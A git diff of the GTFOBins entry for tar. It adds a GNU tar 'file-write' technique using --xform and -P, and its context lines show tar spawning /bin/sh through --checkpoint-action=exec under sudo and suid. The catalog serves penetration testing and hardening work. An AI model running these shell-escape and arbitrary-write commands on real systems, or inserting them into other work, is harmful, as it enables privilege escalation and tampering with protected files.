diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md index e823db5..f2afc76 100644 --- a/_gtfobins/tar.md +++ b/_gtfobins/tar.md @@ -6,4 +6,11 @@ functions: - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh suid-limited: - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh + file-write: + - description: This only works for GNU tar. + code: | + LFILE=file_to_write + TF=$(mktemp) + echo data > "$TF" + tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P ---